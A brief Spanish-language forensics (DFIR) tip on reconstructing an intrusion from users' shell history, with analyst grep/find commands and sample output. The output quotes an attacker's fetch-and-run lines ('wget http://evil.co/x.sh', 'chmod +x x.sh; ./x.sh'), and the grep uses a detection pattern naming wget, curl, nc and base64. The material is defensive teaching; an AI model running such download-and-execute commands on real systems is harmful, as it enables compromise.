DFIR
Reconstruye con el historial
El historial de comandos es el diario del atacante, si no lo borró.
Revisa el bash_history de cada usuario, sobre todo el de root, buscando descargas, cambios de permisos y comandos de persistencia. Ojo: si el historial está vacío o apunta a dev null, es porque lo desactivaron a propósito, y eso ya es una señal.
También busca en otros shells como zsh. Aunque lo intenten borrar, a veces quedan pedazos en la memoria o en logs.
# los comandos
analyst@victim:~# cat /root/.bash_history | grep -nE 'wget|curl|chmod|nc |base64'copiar12: wget http://evil.co/x.sh
13: chmod +x x.sh; ./x.sh
analyst@victim:~# ls -la /root/.bash_historycopiarlrwxrwxrwx .bash_history -> /dev/null <- desactivado
analyst@victim:~# find /home -name '.*_history' -exec grep -l base64 {} +copiar